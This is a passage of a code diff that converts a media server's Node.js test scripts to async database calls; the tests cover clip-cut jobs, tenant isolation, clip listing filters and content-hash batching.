assert.strictEqual(r.status, 202, JSON.stringify(r.body));++ assert.ok(/^mjob_/.test(r.body.job_id), 'the answer names the job');++ const clipId = r.body.id, jobId = r.body.job_id;++ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(jobId)).status)), 'the cut finishes');++ const j = await call('GET', `/api/v2/live/jobs/${jobId}`);++ assert.strictEqual(j.status, 200);++ assert.deepStrictEqual([j.body.job.type, j.body.job.status, j.body.job.result.clip_id], ['clip.cut', 'succeeded', clipId], JSON.stringify(j.body.job));++ const clip = await db.getClipById(clipId);++ assert.strictEqual(clip.status, 'ready');++ assert.ok(fs.existsSync(clip.file_path) && Math.abs(clip.duration_seconds - 7) < 1.5, `a 7 s clip (${clip.duration_seconds})`);++ assert.deepStrictEqual(await jobEvents(jobId), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);++ assert.ok((await outbox()).some((e) => e.event_type === 'media.clip.ready' && e.subject.type === 'clip' && String(e.subject.id) === String(clipId)), 'media.clip.ready as before');-- // ── A window with no footage: permanent at once, and the sweeper leaves it alone ──-- r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 28, end_s: 35, title: 'Past the end', user_id: 5 });-- assert.strictEqual(r.status, 202, JSON.stringify(r.body));-- const badJob = r.body.job_id, badClip = r.body.id;-- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(badJob).status)));-- const bad = queue.jobPublic(queue.get(badJob));-- if (bad.status === 'failed') {-- assert.strictEqual(db.getClipById(badClip).status, 'failed');-- assert.strictEqual(db.getClipById(badClip).cut_next_at, null, 'no sweeper retry is scheduled under a job');-- const before = db.getClipById(badClip).cut_attempts;-- await clipJobs.sweep();-- assert.strictEqual(db.getClipById(badClip).cut_attempts, before, 'the sweeper leaves a clip that has a job');-- } else {-- assert.strictEqual(db.getClipById(badClip).status, 'ready', 'ffmpeg cut what there was');-- }++ // ── A window with no footage: permanent at once, and the sweeper leaves it alone ──++ r = await call('POST', '/api/v1/live/clips', { vod_id: 30, start_s: 28, end_s: 35, title: 'Past the end', user_id: 5 });++ assert.strictEqual(r.status, 202, JSON.stringify(r.body));++ const badJob = r.body.job_id, badClip = r.body.id;++ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(badJob)).status)));++ const bad = queue.jobPublic(await queue.get(badJob));++ if (bad.status === 'failed') {++ assert.strictEqual((await db.getClipById(badClip)).status, 'failed');++ assert.strictEqual((await db.getClipById(badClip)).cut_next_at, null, 'no sweeper retry is scheduled under a job');++ const before = (await db.getClipById(badClip)).cut_attempts;++ await clipJobs.sweep();++ assert.strictEqual((await db.getClipById(badClip)).cut_attempts, before, 'the sweeper leaves a clip that has a job');++ } else {++ assert.strictEqual((await db.getClipById(badClip)).status, 'ready', 'ffmpeg cut what there was');++ }-- // ── A re-cut is a new job; asking again while it is active gets the same one ──-- const r1 = await call('POST', `/api/v1/live/clips/${clipId}/recut`);-- assert.strictEqual(r1.status, 202, JSON.stringify(r1.body));-- assert.ok(r1.body.job_id && r1.body.job_id !== jobId, 'a new job');-- const same = clipJobs.enqueueCut('live', clipId, { reason: 're-cut' });-- assert.ok(same.job.id === r1.body.job_id || queue.get(r1.body.job_id).status === 'succeeded', 'an active re-cut is reused');-- assert.ok(await waitFor(() => queue.get(r1.body.job_id).status === 'succeeded'));-- assert.strictEqual(db.getClipById(clipId).status, 'ready');++ // ── A re-cut is a new job; asking again while it is active gets the same one ──++ const r1 = await call('POST', `/api/v1/live/clips/${clipId}/recut`);++ assert.strictEqual(r1.status, 202, JSON.stringify(r1.body));++ assert.ok(r1.body.job_id && r1.body.job_id !== jobId, 'a new job');++ const same = await clipJobs.enqueueCut('live', clipId, { reason: 're-cut' });++ assert.ok(same.job.id === r1.body.job_id || (await queue.get(r1.body.job_id)).status === 'succeeded', 'an active re-cut is reused');++ assert.ok(await waitFor(async () => (await queue.get(r1.body.job_id)).status === 'succeeded'));++ assert.strictEqual((await db.getClipById(clipId)).status, 'ready');-- // ── Another tenant cannot see the job ──-- db.upsertApp({ app_id: 'games', api_key: 'games-key' });-- const other = await fetch(`${api}/api/v2/games/jobs/${jobId}`, { headers: { authorization: 'Bearer games-key' } });-- assert.strictEqual(other.status, 404);++ // ── Another tenant cannot see the job ──++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const other = await fetch(`${api}/api/v2/games/jobs/${jobId}`, { headers: { authorization: 'Bearer games-key' } });++ assert.strictEqual(other.status, 404);-- worker.stop();-- events._reset();-- server.close();-- stub.close();-- console.log('clip-cut-job: all checks passed');-- process.exit(0);++ worker.stop();++ events._reset();++ server.close();++ stub.close();++ console.log('clip-cut-job: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -13,126 +13,128 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clip-origin-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--delete process.env.EVENTS_URL;--console.log = () => {};--console.warn = () => {};++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-clip-origin-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ delete process.env.EVENTS_URL;++ console.log = () => {};++ console.warn = () => {};--const db = require('../server/db/database');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--const raw = db.getDb();--// The background cut is not what this checks: fail it at once, without ffmpeg.--require('../server/vod/clip-cutter').cutClipFile = async () => ({ ok: false, error: 'not in this test' });++ const db = require('../server/db/database');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const raw = db.getDb();++ // The background cut is not what this checks: fail it at once, without ffmpeg.++ require('../server/vod/clip-cutter').cutClipFile = async () => ({ ok: false, error: 'not in this test' });--const vodFile = path.join(process.env.VOD_PATH, 'vod-1.webm');--fs.writeFileSync(vodFile, Buffer.alloc(64, 1));--const daysAgo = (n) => new Date(Date.now() - n * 86400_000).toISOString().replace('T', ' ').slice(0, 19);--raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)-- VALUES (1, 'live', 5, 'Fresh', ?, 1, 'public', 600, 3, ?)`).run(vodFile, daysAgo(1));--raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)-- VALUES (2, 'live', 5, 'Old', ?, 1, 'public', 600, 90, ?)`).run(vodFile, daysAgo(40));--// An imported row keeps its ISO timestamp: `since` must still compare it by time.--raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at)-- VALUES (3, 'live', 5, 'Imported', ?, 1, 'public', 600, 1, ?)`).run(vodFile, new Date(Date.now() - 2 * 86400_000).toISOString());--const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status, auto_generated, view_count, created_at)-- VALUES (?, 'live', 1, 5, ?, 'x.webm', ?, ?, ?, ?, ?, ?)`);--insClip.run(10, 'Person, public', 1, 'public', 'ready', 0, 5, daysAgo(1));--insClip.run(11, 'AI, public', 1, 'public', 'ready', 1, 9, daysAgo(2));--insClip.run(12, 'AI, private', 0, 'private', 'ready', 1, 0, daysAgo(1));--insClip.run(13, 'Person, failed cut', 1, 'public', 'failed', 0, 0, daysAgo(1));--insClip.run(14, 'Person, old', 1, 'public', 'ready', 0, 50, daysAgo(40));--insClip.run(15, 'Imported, no status', 1, 'public', null, 0, 1, daysAgo(3));++ const vodFile = path.join(process.env.VOD_PATH, 'vod-1.webm');++ fs.writeFileSync(vodFile, Buffer.alloc(64, 1));++ const daysAgo = (n) => new Date(Date.now() - n * 86400_000).toISOString().replace('T', ' ').slice(0, 19);++ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE++ VALUES (1, 'live', 5, 'Fresh', ?, 1, 'public', 600, 3, ?) RETURNING id`).run(vodFile, daysAgo(1));++ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE++ VALUES (2, 'live', 5, 'Old', ?, 1, 'public', 600, 90, ?) RETURNING id`).run(vodFile, daysAgo(40));++ // An imported row keeps its ISO timestamp: `since` must still compare it by time.++ await raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, view_count, created_at) OVERRIDING SYSTEM VALUE++ VALUES (3, 'live', 5, 'Imported', ?, 1, 'public', 600, 1, ?) RETURNING id`).run(vodFile, new Date(Date.now() - 2 * 86400_000).toISOString());++ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status, auto_generated, view_count, created_at) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', 1, 5, ?, 'x.webm', ?, ?, ?, ?, ?, ?) RETURNING id`);++ await insClip.run(10, 'Person, public', 1, 'public', 'ready', 0, 5, daysAgo(1));++ await insClip.run(11, 'AI, public', 1, 'public', 'ready', 1, 9, daysAgo(2));++ await insClip.run(12, 'AI, private', 0, 'private', 'ready', 1, 0, daysAgo(1));++ await insClip.run(13, 'Person, failed cut', 1, 'public', 'failed', 0, 0, daysAgo(1));++ await insClip.run(14, 'Person, old', 1, 'public', 'ready', 0, 50, daysAgo(40));++ await insClip.run(15, 'Imported, no status', 1, 'public', null, 0, 1, daysAgo(3));--const express = require('express');--const app = express();--app.use(express.json());--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--const server = http.createServer(app);++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;-- const call = async (method, p, { body, user } = {}) => {-- const headers = { authorization: 'Bearer live-key' };-- if (user) headers['x-ov-user-id'] = String(user);-- if (body !== undefined) headers['content-type'] = 'application/json';-- const res = await fetch(base + p, { method, headers, body: body === undefined ? undefined : JSON.stringify(body) });-- return { status: res.status, json: await res.json().catch(() => null) };-- };-- const ids = (r) => r.json.clips.map((c) => c.id).sort((a, b) => a - b);-- let failures = 0;-- const check = async (name, fn) => {-- try { await fn(); process.stdout.write(` ok - ${name}\n`); }-- catch (e) { failures++; process.stdout.write(` FAIL - ${name}: ${e.message}\n`); }-- };++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;++ const call = async (method, p, { body, user } = {}) => {++ const headers = { authorization: 'Bearer live-key' };++ if (user) headers['x-ov-user-id'] = String(user);++ if (body !== undefined) headers['content-type'] = 'application/json';++ const res = await fetch(base + p, { method, headers, body: body === undefined ? undefined : JSON.stringify(body) });++ return { status: res.status, json: await res.json().catch(() => null) };++ };++ const ids = (r) => r.json.clips.map((c) => c.id).sort((a, b) => a - b);++ let failures = 0;++ const check = async (name, fn) => {++ try { await fn(); process.stdout.write(` ok - ${name}\n`); }++ catch (e) { failures++; process.stdout.write(` FAIL - ${name}: ${e.message}\n`); }++ };-- await check('auto_generated=0|1 splits the public list; private rows stay out of both', async () => {-- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=0')), [10, 13, 14, 15]);-- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=1')), [11]);-- assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=true')), [11]);-- assert.deepStrictEqual(ids(await call('GET', '/clips')), [10, 11, 13, 14, 15], 'no filter: both kinds, as before');-- const r = await call('GET', '/clips?auto_generated=1');-- assert.strictEqual(r.json.total, 1, 'the total counts the same filter');-- assert.strictEqual(r.json.clips[0].auto_generated, true);-- });++ await check('auto_generated=0|1 splits the public list; private rows stay out of both', async () => {++ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=0')), [10, 13, 14, 15]);++ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=1')), [11]);++ assert.deepStrictEqual(ids(await call('GET', '/clips?auto_generated=true')), [11]);++ assert.deepStrictEqual(ids(await call('GET', '/clips')), [10, 11, 13, 14, 15], 'no filter: both kinds, as before');++ const r = await call('GET', '/clips?auto_generated=1');++ assert.strictEqual(r.json.total, 1, 'the total counts the same filter');++ assert.strictEqual(r.json.clips[0].auto_generated, true);++ });-- await check('status=ready leaves out failed cuts and keeps imported rows without a status', async () => {-- assert.deepStrictEqual(ids(await call('GET', '/clips?status=ready&auto_generated=0')), [10, 14, 15]);-- });++ await check('status=ready leaves out failed cuts and keeps imported rows without a status', async () => {++ assert.deepStrictEqual(ids(await call('GET', '/clips?status=ready&auto_generated=0')), [10, 14, 15]);++ });-- await check('since bounds clips and VODs; views order holds inside the window', async () => {-- const week = new Date(Date.now() - 7 * 86400_000).toISOString();-- assert.deepStrictEqual(ids(await call('GET', `/clips?since=${encodeURIComponent(week)}&status=ready`)), [10, 11, 15]);-- const top = await call('GET', `/clips?since=${encodeURIComponent(week)}&order=views&status=ready`);-- assert.deepStrictEqual(top.json.clips.map((c) => c.id), [11, 10, 15]);-- const vods = await call('GET', `/vods?since=${encodeURIComponent(week)}&order=views`);-- assert.deepStrictEqual(vods.json.vods.map((v) => v.id), [1, 3], 'the 40-day-old VOD is out, the ISO-dated one is in');-- assert.strictEqual(vods.json.total, 2);-- const sqlForm = await call('GET', `/vods?since=${encodeURIComponent(daysAgo(7))}`);-- assert.strictEqual(sqlForm.json.total, 2, "'YYYY-MM-DD HH:MM:SS' works too");-- const junk = await call('GET', '/vods?since=not-a-date');-- assert.strictEqual(junk.json.total, 3, 'an unreadable since is ignored, not a 500');-- });++ await check('since bounds clips and VODs; views order holds inside the window', async () => {++ const week = new Date(Date.now() - 7 * 86400_000).toISOString();++ assert.deepStrictEqual(ids(await call('GET', `/clips?since=${encodeURIComponent(week)}&status=ready`)), [10, 11, 15]);++ const top = await call('GET', `/clips?since=${encodeURIComponent(week)}&order=views&status=ready`);++ assert.deepStrictEqual(top.json.clips.map((c) => c.id), [11, 10, 15]);++ const vods = await call('GET', `/vods?since=${encodeURIComponent(week)}&order=views`);++ assert.deepStrictEqual(vods.json.vods.map((v) => v.id), [1, 3], 'the 40-day-old VOD is out, the ISO-dated one is in');++ assert.strictEqual(vods.json.total, 2);++ const sqlForm = await call('GET', `/vods?since=${encodeURIComponent(daysAgo(7))}`);++ assert.strictEqual(sqlForm.json.total, 2, "'YYYY-MM-DD HH:MM:SS' works too");++ const junk = await call('GET', '/vods?since=not-a-date');++ assert.strictEqual(junk.json.total, 3, 'an unreadable since is ignored, not a 500');++ });-- await check('POST /clips keeps auto_generated and the description for the app itself', async () => {-- const r = await call('POST', '/clips', { body: { vod_id: 1, start_s: 10, end_s: 30, title: 'AI pick', auto_generated: true, description: 'A <b>big</b> moment' } });-- assert.strictEqual(r.status, 202, JSON.stringify(r.json));-- const row = db.getClipById(r.json.id);-- assert.strictEqual(row.auto_generated, 1);-- assert.strictEqual(row.description, 'A big moment');-- });++ await check('POST /clips keeps auto_generated and the description for the app itself', async () => {++ const r = await call('POST', '/clips', { body: { vod_id: 1, start_s: 10, end_s: 30, title: 'AI pick', auto_generated: true, description: 'A <b>big</b> moment' } });++ assert.strictEqual(r.status, 202, JSON.stringify(r.json));++ const row = await db.getClipById(r.json.id);++ assert.strictEqual(row.auto_generated, 1);++ assert.strictEqual(row.description, 'A big moment');++ });-- await check('POST /clips acting for a user is a person\'s clip, whatever it claims', async () => {-- const r = await call('POST', '/clips', { user: 7, body: { vod_id: 1, start_s: 100, end_s: 120, title: 'Mine', auto_generated: true } });-- assert.strictEqual(r.status, 202, JSON.stringify(r.json));-- assert.strictEqual(db.getClipById(r.json.id).auto_generated, 0);-- });++ await check('POST /clips acting for a user is a person\'s clip, whatever it claims', async () => {++ const r = await call('POST', '/clips', { user: 7, body: { vod_id: 1, start_s: 100, end_s: 120, title: 'Mine', auto_generated: true } });++ assert.strictEqual(r.status, 202, JSON.stringify(r.json));++ assert.strictEqual((await db.getClipById(r.json.id)).auto_generated, 0);++ });-- await check('PUT /clips/:id: the app may mark a clip machine-made; a user may not', async () => {-- const denied = await call('PUT', '/clips/10', { user: 5, body: { auto_generated: true } });-- assert.strictEqual(denied.status, 403);-- assert.strictEqual(db.getClipById(10).auto_generated, 0);-- const ok = await call('PUT', '/clips/10', { body: { auto_generated: true } });-- assert.strictEqual(ok.status, 200);-- assert.strictEqual(ok.json.clip.auto_generated, true);-- const back = await call('PUT', '/clips/10', { body: { auto_generated: 0 } });-- assert.strictEqual(back.json.clip.auto_generated, false);-- const title = await call('PUT', '/clips/10', { user: 5, body: { title: 'Renamed' } });-- assert.strictEqual(title.status, 200, 'other fields still work for users');-- });++ await check('PUT /clips/:id: the app may mark a clip machine-made; a user may not', async () => {++ const denied = await call('PUT', '/clips/10', { user: 5, body: { auto_generated: true } });++ assert.strictEqual(denied.status, 403);++ assert.strictEqual((await db.getClipById(10)).auto_generated, 0);++ const ok = await call('PUT', '/clips/10', { body: { auto_generated: true } });++ assert.strictEqual(ok.status, 200);++ assert.strictEqual(ok.json.clip.auto_generated, true);++ const back = await call('PUT', '/clips/10', { body: { auto_generated: 0 } });++ assert.strictEqual(back.json.clip.auto_generated, false);++ const title = await call('PUT', '/clips/10', { user: 5, body: { title: 'Renamed' } });++ assert.strictEqual(title.status, 200, 'other fields still work for users');++ });-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- process.stdout.write(failures ? `\n${failures} check(s) failed\n` : '\nclip origin filters: all checks passed\n');-- process.exit(failures ? 1 : 0);--})();++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ process.stdout.write(failures ? `\n${failures} check(s) failed\n` : '\nclip origin filters: all checks passed\n');++ process.exit(failures ? 1 : 0);++ })();++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,118 +10,122 @@ const os = require('os');const path = require('path');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-hash-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),-- MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_HASH_SETTLE_S: '60', MEDIA_HASH_INTERVAL_MIN: '15',--});++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-hash-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_HASH_SETTLE_S: '60', MEDIA_HASH_INTERVAL_MIN: '15',++ });--const db = require('../server/db/database');--const model = require('../server/objects/model');--const queue = require('../server/jobs/queue');--const worker = require('../server/jobs/worker');--const hashJob = require('../server/jobs/content-hash');--const verify = require('../server/objects/verify-job');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const hashJob = require('../server/jobs/content-hash');++ const verify = require('../server/objects/verify-job');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const sha = (buf) => crypto.createHash('sha256').update(buf).digest('hex');--const age = (file, s = 3600) => { const t = (Date.now() - s * 1000) / 1000; fs.utimesSync(file, t, t); };--function vodWith(name, bytes, { app = 'live', old = true } = {}) {-- const file = path.join(process.env.VOD_PATH, name);-- fs.writeFileSync(file, bytes);-- if (old) age(file);-- const id = Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, is_public, visibility, health_status) VALUES (?, 't', ?, ?, 60, 1, 'public', 'ok')`,-- [app, file, bytes.length]).lastInsertRowid);-- model.sync('vod', id);-- return { id, file, obj: () => model.getObject(db.get('SELECT object_id FROM vods WHERE id = ?', [id]).object_id) };--}--const localLoc = (objId) => db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [objId]);++ const sha = (buf) => crypto.createHash('sha256').update(buf).digest('hex');++ const age = (file, s = 3600) => { const t = (Date.now() - s * 1000) / 1000; fs.utimesSync(file, t, t); };++ async function vodWith(name, bytes, { app = 'live', old = true } = {}) {++ const file = path.join(process.env.VOD_PATH, name);++ fs.writeFileSync(file, bytes);++ if (old) age(file);++ const id = Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, is_public, visibility, health_status) VALUES (?, 't', ?, ?, 60, 1, 'public', 'ok') RETURNING id`,++ [app, file, bytes.length])).lastInsertRowid);++ await model.sync('vod', id);++ return { id, file, obj: async () => await model.getObject((await db.get('SELECT object_id FROM vods WHERE id = ?', [id])).object_id) };++ }++ const localLoc = async (objId) => await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [objId]);--(async () => {-- const a = vodWith('a.mp4', Buffer.alloc(300000, 1));-- const b = vodWith('b.mp4', Buffer.alloc(200000, 2));-- const fresh = vodWith('fresh.mp4', Buffer.alloc(1000, 3), { old: false });-- const other = vodWith('other.mp4', Buffer.alloc(5000, 4));-- db.run('UPDATE media_objects SET size_bytes = 999 WHERE id = ?', [other.obj().id]); // the local copy is another version-- const games = vodWith('g.mp4', Buffer.alloc(4000, 5), { app: 'games' });-- assert.strictEqual(a.obj().content_hash, null);-- const before = hashJob.remaining('live');-- assert.strictEqual(before, 4);++ (async () => {++ const a = await vodWith('a.mp4', Buffer.alloc(300000, 1));++ const b = await vodWith('b.mp4', Buffer.alloc(200000, 2));++ const fresh = await vodWith('fresh.mp4', Buffer.alloc(1000, 3), { old: false });++ const other = await vodWith('other.mp4', Buffer.alloc(5000, 4));++ await db.run('UPDATE media_objects SET size_bytes = 999 WHERE id = ?', [(await other.obj()).id]); // the local copy is another version++ const games = await vodWith('g.mp4', Buffer.alloc(4000, 5), { app: 'games' });++ assert.strictEqual((await a.obj()).content_hash, null);++ const before = await hashJob.remaining('live');++ assert.strictEqual(before, 4);-- // ── 1. A batch hashes local copies onto the object and the location, and skips what it must ──-- const r = await hashJob.hashBatch({ appId: 'live' });-- assert.deepStrictEqual([r.hashed, r.bytes], [2, 500000]);-- assert.deepStrictEqual(r.skipped, { recently_changed: 1, size_differs_from_object: 1 });-- assert.strictEqual(r.remaining, 2);-- const oa = a.obj();-- assert.strictEqual(oa.content_hash, sha(fs.readFileSync(a.file)));-- assert.strictEqual(localLoc(oa.id).checksum, oa.content_hash, 'the location carries it too');-- assert.ok(localLoc(oa.id).verified_at);-- assert.deepStrictEqual([JSON.parse(oa.metadata).hash_basis.key, JSON.parse(oa.metadata).hash_basis.size], [path.resolve(a.file), 300000]);-- assert.strictEqual(games.obj().content_hash, null, 'one tenant per run');-- console.log('✅ sha256 of local copies recorded on object and location; changing files and other versions skipped');++ // ── 1. A batch hashes local copies onto the object and the location, and skips what it must ──++ const r = await hashJob.hashBatch({ appId: 'live' });++ assert.deepStrictEqual([r.hashed, r.bytes], [2, 500000]);++ assert.deepStrictEqual(r.skipped, { recently_changed: 1, size_differs_from_object: 1 });++ assert.strictEqual(r.remaining, 2);++ const oa = (await a.obj());++ assert.strictEqual(oa.content_hash, sha(fs.readFileSync(a.file)));++ assert.strictEqual((await localLoc(oa.id)).checksum, oa.content_hash, 'the location carries it too');++ assert.ok((await localLoc(oa.id)).verified_at);++ assert.deepStrictEqual([JSON.parse(oa.metadata).hash_basis.key, JSON.parse(oa.metadata).hash_basis.size], [path.resolve(a.file), 300000]);++ assert.strictEqual((await games.obj()).content_hash, null, 'one tenant per run');++ console.log('✅ sha256 of local copies recorded on object and location; changing files and other versions skipped');-- // ── 2. Bounded by bytes: a run stops at its budget (the first file always fits), the next continues ──-- const big1 = vodWith('big1.mp4', Buffer.alloc(3 * 1048576, 6));-- const big2 = vodWith('big2.mp4', Buffer.alloc(3 * 1048576, 7));-- const r2 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });-- assert.deepStrictEqual([r2.hashed, r2.skipped.budget], [1, 1]);-- assert.strictEqual([big1, big2].filter(v => v.obj().content_hash).length, 1, 'one of the two 3 MB files fits a 4 MB budget');-- const r3 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });-- assert.strictEqual(r3.hashed, 1);-- assert.ok(big1.obj().content_hash && big2.obj().content_hash, 'the next run takes the other');-- const r4 = await hashJob.hashBatch({ appId: 'live', limit: 1 });-- assert.strictEqual(r4.hashed + Object.values(r4.skipped).reduce((x, y) => x + y, 0), 1, 'limit bounds the count');-- console.log('✅ bounded batches: object count and byte budget');++ // ── 2. Bounded by bytes: a run stops at its budget (the first file always fits), the next continues ──++ const big1 = await vodWith('big1.mp4', Buffer.alloc(3 * 1048576, 6));++ const big2 = await vodWith('big2.mp4', Buffer.alloc(3 * 1048576, 7));++ const r2 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });++ assert.deepStrictEqual([r2.hashed, r2.skipped.budget], [1, 1]);++ let hashed = 0;++ for (const v of [big1, big2]) if ((await v.obj()).content_hash) hashed++;++ assert.strictEqual(hashed, 1, 'one of the two 3 MB files fits a 4 MB budget');++ const r3 = await hashJob.hashBatch({ appId: 'live', budgetMb: 4 });++ assert.strictEqual(r3.hashed, 1);++ assert.ok((await big1.obj()).content_hash && (await big2.obj()).content_hash, 'the next run takes the other');++ const r4 = await hashJob.hashBatch({ appId: 'live', limit: 1 });++ assert.strictEqual(r4.hashed + Object.values(r4.skipped).reduce((x, y) => x + y, 0), 1, 'limit bounds the count');++ console.log('✅ bounded batches: object count and byte budget');-- // ── 3. A changed local file drops the job's hash on re-projection; a move to B2 keeps it ──-- fs.appendFileSync(b.file, Buffer.alloc(1000, 9)); // a remux in place: new size-- db.run('UPDATE vods SET file_size = ? WHERE id = ?', [201000, b.id]);-- model.sync('vod', b.id);-- const ob = b.obj();-- assert.strictEqual(ob.content_hash, null, 'stale hash dropped');-- assert.strictEqual(localLoc(ob.id).checksum, null);-- assert.strictEqual(JSON.parse(ob.metadata).hash_basis, undefined);-- age(b.file);-- await hashJob.hashBatch({ appId: 'live', objectId: ob.id });-- assert.strictEqual(b.obj().content_hash, sha(fs.readFileSync(b.file)), 'hashed again from the new bytes');-- const kept = oa.content_hash;-- fs.unlinkSync(a.file); // offloaded: local copy gone, B2 canonical-- db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/a.mp4' WHERE id = ?", [a.id]);-- model.sync('vod', a.id);-- assert.strictEqual(a.obj().content_hash, kept, 'the bytes moved; the hash stays');-- console.log('✅ a remuxed local file loses the stale hash (and is re-hashed); a move to B2 keeps it');++ // ── 3. A changed local file drops the job's hash on re-projection; a move to B2 keeps it ──++ fs.appendFileSync(b.file, Buffer.alloc(1000, 9)); // a remux in place: new size++ await db.run('UPDATE vods SET file_size = ? WHERE id = ?', [201000, b.id]);++ await model.sync('vod', b.id);++ const ob = (await b.obj());++ assert.strictEqual(ob.content_hash, null, 'stale hash dropped');++ assert.strictEqual((await localLoc(ob.id)).checksum, null);++ assert.strictEqual(JSON.parse(ob.metadata).hash_basis, undefined);++ age(b.file);++ await hashJob.hashBatch({ appId: 'live', objectId: ob.id });++ assert.strictEqual((await b.obj()).content_hash, sha(fs.readFileSync(b.file)), 'hashed again from the new bytes');++ const kept = oa.content_hash;++ fs.unlinkSync(a.file); // offloaded: local copy gone, B2 canonical++ await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/a.mp4' WHERE id = ?", [a.id]);++ await model.sync('vod', a.id);++ assert.strictEqual((await a.obj()).content_hash, kept, 'the bytes moved; the hash stays');++ console.log('✅ a remuxed local file loses the stale hash (and is re-hashed); a move to B2 keeps it');-- // ── 4. Verification uses it: a corrupted local copy of the same size is caught ──-- const c = vodWith('c.mp4', Buffer.alloc(100000, 8));-- await hashJob.hashBatch({ appId: 'live', objectId: c.obj().id });-- const good = await verify.verifyObject(c.obj(), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });-- assert.strictEqual(good.locations.find(l 